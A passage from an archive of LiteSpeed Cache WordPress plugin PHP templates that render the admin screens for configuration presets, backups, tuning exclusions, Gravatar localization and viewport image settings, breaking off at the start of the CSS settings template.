<?php endif; ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/presets/entry.tpl.php000064400000002336151031165260021227 0ustar00<?php
/**
 * LiteSpeed Cache Configuration Presets
 *
 * Renders the configuration presets interface for LiteSpeed Cache, including standard presets and import/export functionality.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
	'standard'      => esc_html__( 'Standard Presets', 'litespeed-cache' ),
	'import_export' => esc_html__( 'Import / Export', 'litespeed-cache' ),
);
?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Configuration Presets', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		v<?php echo esc_html( Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>

	<div class="litespeed-body">
		<?php
		foreach ( $menu_list as $curr_tab => $val ) :
			?>
			<div data-litespeed-layout="<?php echo esc_attr( $curr_tab ); ?>">
				<?php
				if ( 'import_export' === $curr_tab ) {
					require LSCWP_DIR . "tpl/toolbox/$curr_tab.tpl.php";
				} else {
					require LSCWP_DIR . "tpl/presets/$curr_tab.tpl.php";
				}
				?>
			</div>
			<?php
		endforeach;
		?>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/presets/standard.tpl.php000064400000021160151031165260021662 0ustar00<?php
/**
 * LiteSpeed Cache Standard Presets
 *
 * Renders the standard presets interface for LiteSpeed Cache, allowing users to apply predefined configuration presets.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$presets = array(
	'essentials' => array(
		'title'  => esc_html__( 'Essentials', 'litespeed-cache' ),
		'body'   => array(
			esc_html__( 'Default Cache', 'litespeed-cache' ),
			esc_html__( 'Higher TTL', 'litespeed-cache' ),
			esc_html__( 'Browser Cache', 'litespeed-cache' ),
		),
		'footer' => array(
			esc_html__( 'This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.', 'litespeed-cache' ),
			esc_html__( 'A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.', 'litespeed-cache' ),
		),
	),
	'basic' => array(
		'title'  => esc_html__( 'Basic', 'litespeed-cache' ),
		'body'   => array(
			esc_html__( 'Everything in Essentials, Plus', 'litespeed-cache' ),
			esc_html__( 'Image Optimization', 'litespeed-cache' ),
			esc_html__( 'Mobile Cache', 'litespeed-cache' ),
		),
		'footer' => array(
			esc_html__( 'This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.', 'litespeed-cache' ),
			esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools.', 'litespeed-cache' ),
		),
	),
	'advanced' => array(
		'title'  => esc_html__( 'Advanced (Recommended)', 'litespeed-cache' ),
		'body'   => array(
			esc_html__( 'Everything in Basic, Plus', 'litespeed-cache' ),
			esc_html__( 'Guest Mode and Guest Optimization', 'litespeed-cache' ),
			esc_html__( 'CSS, JS and HTML Minification', 'litespeed-cache' ),
			esc_html__( 'Font Display Optimization', 'litespeed-cache' ),
			esc_html__( 'JS Defer for both external and inline JS', 'litespeed-cache' ),
			esc_html__( 'DNS Prefetch for static files', 'litespeed-cache' ),
			esc_html__( 'Gravatar Cache', 'litespeed-cache' ),
			esc_html__( 'Remove Query Strings from Static Files', 'litespeed-cache' ),
			esc_html__( 'Remove WordPress Emoji', 'litespeed-cache' ),
			esc_html__( 'Remove Noscript Tags', 'litespeed-cache' ),
		),
		'footer' => array(
			esc_html__( 'This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.', 'litespeed-cache' ),
			esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.', 'litespeed-cache' ),
		),
	),
	'aggressive' => array(
		'title'  => esc_html__( 'Aggressive', 'litespeed-cache' ),
		'body'   => array(
			esc_html__( 'Everything in Advanced, Plus', 'litespeed-cache' ),
			esc_html__( 'CSS & JS Combine', 'litespeed-cache' ),
			esc_html__( 'Asynchronous CSS Loading with Critical CSS', 'litespeed-cache' ),
			esc_html__( 'Removed Unused CSS for Users', 'litespeed-cache' ),
			esc_html__( 'Lazy Load for Iframes', 'litespeed-cache' ),
		),
		'footer' => array(
			esc_html__( 'This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.', 'litespeed-cache' ),
			esc_html__( 'A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.', 'litespeed-cache' ),
		),
	),
	'extreme' => array(
		'title'  => esc_html__( 'Extreme', 'litespeed-cache' ),
		'body'   => array(
			esc_html__( 'Everything in Aggressive, Plus', 'litespeed-cache' ),
			esc_html__( 'Lazy Load for Images', 'litespeed-cache' ),
			esc_html__( 'Viewport Image Generation', 'litespeed-cache' ),
			esc_html__( 'JS Delayed', 'litespeed-cache' ),
			esc_html__( 'Inline JS added to Combine', 'litespeed-cache' ),
			esc_html__( 'Inline CSS added to Combine', 'litespeed-cache' ),
		),
		'footer' => array(
			esc_html__( 'This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.', 'litespeed-cache' ),
			esc_html__( 'A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.', 'litespeed-cache' ),
		),
	),
);
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'LiteSpeed Cache Standard Presets', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/presets/#standard-tab' ); ?>
</h3>

<p><?php esc_html_e( 'Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.', 'litespeed-cache' ); ?></p>

<div class="litespeed-comparison-cards">
	<?php
	foreach ( array_keys( $presets ) as $name ) :
		$curr_title   = $presets[ $name ]['title'];
		$recommend    = 'advanced' === $name;
		$card_class   = $recommend ? 'litespeed-comparison-card-rec' : '';
		$button_class = $recommend ? 'button-primary' : 'button-secondary';
		?>
		<div class="litespeed-comparison-card postbox <?php echo esc_attr( $card_class ); ?>">
			<div class="litespeed-card-content">
				<div class="litespeed-card-header">
					<h3 class="litespeed-h3">
						<?php echo esc_html( $curr_title ); ?>
					</h3>
				</div>
				<div class="litespeed-card-body">
					<ul>
						<?php foreach ( $presets[ $name ]['body'] as $line ) : ?>
							<li><?php echo esc_html( $line ); ?></li>
						<?php endforeach; ?>
					</ul>
				</div>
				<div class="litespeed-card-footer">
					<h4><?php esc_html_e( 'Who should use this preset?', 'litespeed-cache' ); ?></h4>
					<?php foreach ( $presets[ $name ]['footer'] as $line ) : ?>
						<p><?php echo esc_html( $line ); ?></p>
					<?php endforeach; ?>
				</div>
			</div>
			<div class="litespeed-card-action">
				<a
					href="<?php echo esc_url( Utility::build_url( Router::ACTION_PRESET, Preset::TYPE_APPLY, false, null, array( 'preset' => $name ) ) ); ?>"
					class="button <?php echo esc_attr( $button_class ); ?>"
					data-litespeed-cfm="<?php echo esc_attr( sprintf( __( 'This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?', 'litespeed-cache' ), $curr_title ) ); ?>"
				>
					<?php esc_html_e( 'Apply Preset', 'litespeed-cache' ); ?>
				</a>
			</div>
		</div>
	<?php endforeach; ?>
</div>

<?php
$summary = Preset::get_summary();
$backups = array();
foreach ( Preset::get_backups() as $backup ) {
	$backup = explode( '-', $backup );
	if ( empty( $backup[1] ) ) {
		continue;
	}
	$timestamp  = $backup[1];
	$time       = trim( Utility::readable_time( $timestamp ) );
	$name       = empty( $backup[3] ) ? null : $backup[3];
	$curr_title = empty( $presets[ $name ]['title'] ) ? $name : $presets[ $name ]['title'];
	$curr_title = null === $curr_title ? esc_html__( 'unknown', 'litespeed-cache' ) : $curr_title;
	$backups[]  = array(
		'timestamp' => $timestamp,
		'time'      => $time,
		'title'     => $curr_title,
	);
}

if ( ! empty( $summary['preset'] ) || ! empty( $backups ) ) :
	?>
	<h3 class="litespeed-title-short">
		<?php esc_html_e( 'History', 'litespeed-cache' ); ?>
	</h3>
<?php endif; ?>

<?php if ( ! empty( $summary['preset'] ) ) : ?>
	<p>
		<?php
		$name = strtolower( $summary['preset'] );
		$time = trim( Utility::readable_time( $summary['preset_timestamp'] ) );
		if ( 'error' === $name ) {
			printf( esc_html__( 'Error: Failed to apply the settings %1$s', 'litespeed-cache' ), esc_html( $time ) );
		} elseif ( 'backup' === $name ) {
			printf( esc_html__( 'Restored backup settings %1$s', 'litespeed-cache' ), esc_html( $time ) );
		} else {
			printf(
				esc_html__( 'Applied the %1$s preset %2$s', 'litespeed-cache' ),
				'<strong>' . esc_html( $presets[ $name ]['title'] ) . '</strong>',
				esc_html( $time )
			);
		}
		?>
	</p>
<?php endif; ?>

<?php foreach ( $backups as $backup ) : ?>
	<p>
		<?php printf( esc_html__( 'Backup created %1$s before applying the %2$s preset', 'litespeed-cache' ), esc_html( $backup['time'] ), esc_html( $backup['title'] ) ); ?>
		<a
			href="<?php echo esc_url( Utility::build_url( Router::ACTION_PRESET, Preset::TYPE_RESTORE, false, null, array( 'timestamp' => $backup['timestamp'] ) ) ); ?>"
			class="litespeed-left10"
			data-litespeed-cfm="<?php echo esc_attr( sprintf( __( 'This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?', 'litespeed-cache' ), $backup['time'], $backup['title'] ) ); ?>"
		>
			<?php esc_html_e( 'Restore Settings', 'litespeed-cache' ); ?>
		</a>
	</p>
<?php endforeach; ?>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_tuning.tpl.php000064400000014057151031165260023603 0ustar00<?php
/**
 * LiteSpeed Cache Tuning Settings
 *
 * Renders the tuning settings interface for LiteSpeed Cache, allowing configuration of optimization exclusions and role-based settings.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

global $wp_roles;
$wp_orig_roles = $wp_roles;
if ( ! isset( $wp_roles ) ) {
	$wp_orig_roles = new \WP_Roles();
}

$roles = array();
foreach ( $wp_orig_roles->roles as $k => $v ) {
	$roles[ $k ] = $v['name'];
}
ksort( $roles );

?>
<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Tuning Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#tuning-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_DELAY_INC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Listed JS files or inline JS code will be delayed.', 'litespeed-cache' ); ?>
					<?php Doc::full_or_partial_url(); ?>
					<?php Doc::one_per_line(); ?>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optm_js_delay_inc</code>' ); ?>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Listed JS files or inline JS code will not be minified or combined.', 'litespeed-cache' ); ?>
					<?php Doc::full_or_partial_url(); ?>
					<?php Doc::one_per_line(); ?>
					<br />
					<font class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optimize_js_excludes</code>' ); ?>
						<?php printf( esc_html__( 'Elements with attribute %s in html code will be excluded.', 'litespeed-cache' ), '<code>data-no-optimize="1"</code>' ); ?>
						<br /><?php esc_html_e( 'Predefined list will also be combined with the above settings.', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_excludes.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_excludes.txt</a>
					</font>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_JS_DEFER_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Listed JS files or inline JS code will not be deferred or delayed.', 'litespeed-cache' ); ?>
					<?php Doc::full_or_partial_url(); ?>
					<?php Doc::one_per_line(); ?>
					<br /><span class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optm_js_defer_exc</code>' ); ?>
						<?php printf( esc_html__( 'Elements with attribute %s in html code will be excluded.', 'litespeed-cache' ), '<code>data-no-defer="1"</code>' ); ?>
						<br /><?php esc_html_e( 'Predefined list will also be combined with the above settings.', 'litespeed-cache' ); ?>: <a href="https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_defer_excludes.txt" target="_blank">https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_defer_excludes.txt</a>
					</span>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_GM_JS_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php printf( esc_html__( 'Listed JS files or inline JS code will not be optimized by %s.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_GUEST ) ) . '</code>' ); ?>
					<?php Doc::full_or_partial_url(); ?>
					<?php Doc::one_per_line(); ?>
					<br /><span class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optm_gm_js_exc</code>' ); ?>
						<?php printf( esc_html__( 'Elements with attribute %s in html code will be excluded.', 'litespeed-cache' ), '<code>data-no-defer="1"</code>' ); ?>
					</span>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_EXC; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_textarea( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Prevent any optimization of listed pages.', 'litespeed-cache' ); ?>
					<?php $this->_uri_usage_example(); ?>
					<br /><span class="litespeed-success">
						<?php esc_html_e( 'API', 'litespeed-cache' ); ?>:
						<?php printf( esc_html__( 'Filter %s is supported.', 'litespeed-cache' ), '<code>litespeed_optm_uri_exc</code>' ); ?>
					</span>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_GUEST_ONLY; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_OPTM_EXC_ROLES; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Selected roles will be excluded from all optimizations.', 'litespeed-cache' ); ?>
				</div>
				<div class="litespeed-tick-list">
					<?php
					foreach ( $roles as $role_id => $role_title ) {
						$this->build_checkbox( $option_id . '[]', $role_title, $this->cls( 'Conf' )->in_optm_exc_roles( $role_id ), $role_id );
					}
					?>
				</div>
			</td>
		</tr>

	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_localization.tpl.php000064400000012206151031165260024761 0ustar00<?php
/**
 * LiteSpeed Cache Localization Settings
 *
 * Renders the localization settings interface for LiteSpeed Cache, including Gravatar caching and resource localization.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$last_generated = Avatar::get_summary();
$avatar_queue   = Avatar::cls()->queue_count();
?>

<?php if ( $this->cls( 'Avatar' )->need_db() && ! $this->cls( 'Data' )->tb_exist( 'avatar' ) ) : ?>
<div class="litespeed-callout notice notice-error inline">
	<h4><?php esc_html_e( 'WARNING', 'litespeed-cache' ); ?></h4>
	<p><?php printf( esc_html__( 'Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.', 'litespeed-cache' ), 'href="https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:cache:lscwp:installation" target="_blank"' ); ?></p>
</div>
<?php endif; ?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Localization Settings', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#localization-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table"><tbody>
	<tr>
		<th>
			<?php $option_id = Base::O_DISCUSS_AVATAR_CACHE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Store Gravatar locally.', 'litespeed-cache' ); ?>
				<?php esc_html_e( 'Accelerates the speed by caching Gravatar (Globally Recognized Avatars).', 'litespeed-cache' ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th class="litespeed-padding-left">
			<?php $option_id = Base::O_DISCUSS_AVATAR_CRON; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Refresh Gravatar cache by cron.', 'litespeed-cache' ); ?>
			</div>

			<?php if ( $last_generated ) : ?>
			<div class="litespeed-desc">
				<?php if ( ! empty( $last_generated['last_request'] ) ) : ?>
					<p>
						<?php echo esc_html__( 'Last ran', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $last_generated['last_request'] ) ) . '</code>'; ?>
					</p>
				<?php endif; ?>
				<?php if ( $avatar_queue ) : ?>
					<div class="litespeed-callout notice notice-warning inline">
						<h4>
							<?php echo esc_html__( 'Avatar list in queue waiting for update', 'litespeed-cache' ); ?>:
							<?php echo esc_html( $avatar_queue ); ?>
						</h4>
					</div>
					<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_AVATAR, Avatar::TYPE_GENERATE ) ); ?>" class="button litespeed-btn-success">
						<?php esc_html_e( 'Run Queue Manually', 'litespeed-cache' ); ?>
					</a>
				<?php endif; ?>
			</div>
			<?php endif; ?>

		</td>
	</tr>

	<tr>
		<th class="litespeed-padding-left">
			<?php $option_id = Base::O_DISCUSS_AVATAR_CACHE_TTL; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_input( $option_id ); ?> <?php $this->readable_seconds(); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Specify how long, in seconds, Gravatar files are cached.', 'litespeed-cache' ); ?>
				<?php $this->recommended( $option_id ); ?>
				<?php $this->_validate_ttl( $option_id, 3600 ); ?>
			</div>
		</td>
	</tr>

	<tr>
		<th>
			<?php $option_id = Base::O_OPTM_LOCALIZE; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<?php $this->build_switch( $option_id ); ?>
			<div class="litespeed-desc">
				<?php esc_html_e( 'Localize external resources.', 'litespeed-cache' ); ?>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#localize' ); ?>

				<br /><font class="litespeed-danger">
					🚨 <?php printf( esc_html__( 'Please thoroughly test all items in %s to ensure they function as expected.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_OPTM_LOCALIZE_DOMAINS ) ) . '</code>' ); ?>
				</font>
			</div>
		</td>
	</tr>

	<tr>
		<th class="litespeed-padding-left">
			<?php $option_id = Base::O_OPTM_LOCALIZE_DOMAINS; ?>
			<?php $this->title( $option_id ); ?>
		</th>
		<td>
			<div class="litespeed-textarea-recommended">
				<div>
					<?php $this->build_textarea( $option_id ); ?>
				</div>
				<div>
					<?php $this->recommended( $option_id, true ); ?>
				</div>
			</div>

			<div class="litespeed-desc">
				<?php esc_html_e( 'Resources listed here will be copied and replaced with local URLs.', 'litespeed-cache' ); ?>
				<?php esc_html_e( 'HTTPS sources only.', 'litespeed-cache' ); ?>

				<?php Doc::one_per_line(); ?>

				<br /><?php printf( esc_html__( 'Comments are supported. Start a line with a %s to turn it into a comment line.', 'litespeed-cache' ), '<code>#</code>' ); ?>

				<br /><?php esc_html_e( 'Example', 'litespeed-cache' ); ?>: <code>https://www.example.com/one.js</code>
				<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#localization-files' ); ?>

				<br /><font class="litespeed-danger">
					🚨 <?php esc_html_e( 'Please thoroughly test each JS file you add to ensure it functions as expected.', 'litespeed-cache' ); ?>
				</font>
			</div>
		</td>
	</tr>

</tbody></table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/entry.tpl.php000064400000003761151031165260021520 0ustar00<?php
/**
 * LiteSpeed Cache Page Optimization Interface
 *
 * Renders the page optimization settings interface for LiteSpeed Cache with tabbed navigation.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
	'settings_css'          => esc_html__( 'CSS Settings', 'litespeed-cache' ),
	'settings_js'           => esc_html__( 'JS Settings', 'litespeed-cache' ),
	'settings_html'         => esc_html__( 'HTML Settings', 'litespeed-cache' ),
	'settings_media'        => esc_html__( 'Media Settings', 'litespeed-cache' ),
	'settings_vpi'          => esc_html__( 'VPI', 'litespeed-cache' ),
	'settings_media_exc'    => esc_html__( 'Media Excludes', 'litespeed-cache' ),
	'settings_localization' => esc_html__( 'Localization', 'litespeed-cache' ),
	'settings_tuning'       => esc_html__( 'Tuning', 'litespeed-cache' ),
	'settings_tuning_css'   => esc_html__( 'Tuning', 'litespeed-cache' ) . ' - CSS',
);

?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php esc_html_e( 'LiteSpeed Cache Page Optimization', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		v<?php echo esc_html( Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">

	<div class="litespeed-callout notice notice-warning inline">
		<h4><?php esc_html_e( 'NOTICE', 'litespeed-cache' ); ?></h4>
		<p><?php esc_html_e( 'Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.', 'litespeed-cache' ); ?></p>
	</div>

	<h2 class="litespeed-header nav-tab-wrapper">
		<?php GUI::display_tab_list( $menu_list ); ?>
	</h2>

	<div class="litespeed-body">
	<?php
		$this->form_action();

		// Include all tpl for faster UE
		foreach ( $menu_list as $tab_key => $tab_val ) {
			?>
			<div data-litespeed-layout='<?php echo esc_attr( $tab_key ); ?>'>
				<?php require LSCWP_DIR . 'tpl/page_optm/' . $tab_key . '.tpl.php'; ?>
			</div>
			<?php
		}

		$this->form_end();
	?>
	</div>

</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_vpi.tpl.php000064400000012221151031165260023064 0ustar00<?php
/**
 * LiteSpeed Cache Viewport Images Settings
 *
 * Renders the Viewport Images settings interface for LiteSpeed Cache, allowing configuration of viewport image detection and exclusions.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$summary        = VPI::get_summary();
$closest_server = Cloud::get_summary( 'server.' . Cloud::SVC_VPI );

$queue           = $this->load_queue( 'vpi' );
$vpi_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_VPI );
?>

<h3 class="litespeed-title-short">
	<?php esc_html_e( 'Viewport Images', 'litespeed-cache' ); ?>
	<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/pageopt/#vpi-settings-tab' ); ?>
</h3>

<table class="wp-list-table striped litespeed-table">
	<tbody>
		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_VPI; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'When you use Lazy Load, it will delay the loading of all images on a page.', 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( 'The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.', 'litespeed-cache' ); ?>
					<br /><?php esc_html_e( "This enables the page's initial screenful of imagery to be fully displayed without delay.", 'litespeed-cache' ); ?>

					<?php if ( ! $this->conf( Base::O_MEDIA_LAZY ) ) : ?>
						<br />
						<font class="litespeed-warning litespeed-left10">
							⚠️ <?php esc_html_e( 'Notice', 'litespeed-cache' ); ?>: <?php printf( esc_html__( '%s must be turned ON for this setting to work.', 'litespeed-cache' ), '<code>' . esc_html( Lang::title( Base::O_MEDIA_LAZY ) ) . '</code>' ); ?>
						</font>
					<?php endif; ?>
				</div>

				<div class="litespeed-desc litespeed-left20">
					<?php if ( $summary ) : ?>
						<?php if ( ! empty( $summary['last_request'] ) ) : ?>
							<p>
								<?php echo esc_html__( 'Last generated', 'litespeed-cache' ) . ': <code>' . esc_html( Utility::readable_time( $summary['last_request'] ) ) . '</code>'; ?>
							</p>
						<?php endif; ?>
					<?php endif; ?>

					<?php if ( $closest_server ) : ?>
						<a class='litespeed-redetect' href="<?php echo esc_url( Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_REDETECT_CLOUD, false, null, array( 'svc' => Cloud::SVC_VPI ) ) ); ?>" data-balloon-pos="up" data-balloon-break aria-label='<?php printf( esc_html__( 'Current closest Cloud server is %s. Click to redetect.', 'litespeed-cache' ), esc_html( $closest_server ) ); ?>' data-litespeed-cfm="<?php esc_html_e( 'Are you sure you want to redetect the closest cloud server for this service?', 'litespeed-cache' ); ?>"><i class='litespeed-quic-icon'></i> <?php esc_html_e( 'Redetect', 'litespeed-cache' ); ?></a>
					<?php endif; ?>

					<?php if ( ! empty( $queue ) ) : ?>
						<div class="litespeed-callout notice notice-warning inline">
							<h4>
								<?php printf( esc_html__( 'URL list in %s queue waiting for cron', 'litespeed-cache' ), 'VPI' ); ?> ( <?php echo esc_html( count( $queue ) ); ?> )
								<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_VPI, VPI::TYPE_CLEAR_Q ) ); ?>" class="button litespeed-btn-warning litespeed-right"><?php esc_html_e( 'Clear', 'litespeed-cache' ); ?></a>
							</h4>
							<p>
								<?php
								$i = 0;
								foreach ( $queue as $k => $v ) {
									if ( $i++ > 20 ) {
										echo '...';
										break;
									}
									if ( ! is_array( $v ) ) {
										continue;
									}
									if ( ! empty( $v['_status'] ) ) {
										echo '<span class="litespeed-success">';
									}
									echo esc_html( $v['url'] );
									if ( ! empty( $v['_status'] ) ) {
										echo '</span>';
									}
									$pos = strpos( $k, ' ' );
									if ( $pos ) {
										echo ' (' . esc_html__( 'Vary Group', 'litespeed-cache' ) . ':' . esc_html( substr( $k, 0, $pos ) ) . ')';
									}
									if ( $v['is_mobile'] ) {
										echo ' <span data-balloon-pos="up" aria-label="mobile">📱</span>';
									}
									echo '<br />';
								}
								?>
							</p>
						</div>
						<?php if ( $vpi_service_hot ) : ?>
							<button class="button button-secondary" disabled>
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'VPI' ); ?>
								- <?php printf( esc_html__( 'Available after %d second(s)', 'litespeed-cache' ), esc_html( $vpi_service_hot ) ); ?>
							</button>
						<?php else : ?>
							<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_VPI, VPI::TYPE_GEN ) ); ?>" class="button litespeed-btn-success">
								<?php printf( esc_html__( 'Run %s Queue Manually', 'litespeed-cache' ), 'VPI' ); ?>
							</a>
						<?php endif; ?>
						<?php Doc::queue_issues(); ?>
					<?php endif; ?>
				</div>
			</td>
		</tr>

		<tr>
			<th>
				<?php $option_id = Base::O_MEDIA_VPI_CRON; ?>
				<?php $this->title( $option_id ); ?>
			</th>
			<td>
				<?php $this->build_switch( $option_id ); ?>
				<div class="litespeed-desc">
					<?php esc_html_e( 'Enable Viewport Images auto generation cron.', 'litespeed-cache' ); ?>
				</div>
			</td>
		</tr>
	</tbody>
</table>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/page_optm/settings_css.tpl.php000064400000037177151031165260023077 0ustar00<?php
/**
 * LiteSpeed Cache CSS Settings
 *
 * Renders the CSS optimization settings interface for LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$__admin_display     = Admin_Display::cls();
$css_summary         = CSS::get_summary();
$ucss_summary        = UCSS::get_summary();
$closest_server_ucss = Cloud::get_summary( 'server.' . Cloud::SVC_UCSS );
$closest_server      = Cloud::get_summary( 'server.' . Cloud::SVC_CCSS );

$ccss_queue = $this->load_queue( 'ccss' );
$ucss_queue = $this->load_queue( 'ucss' );

$next_gen = '<code class="litespeed-success">' . $this->cls( 'Media' )->next_gen_image_title() . '</code>';

$ucss_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_UCSS );
$ccss_service_hot = $this->cls( 'Cloud' )->service_hot( Cloud::SVC_CCSS );
?>

<h3 class="litespeed-title-short">
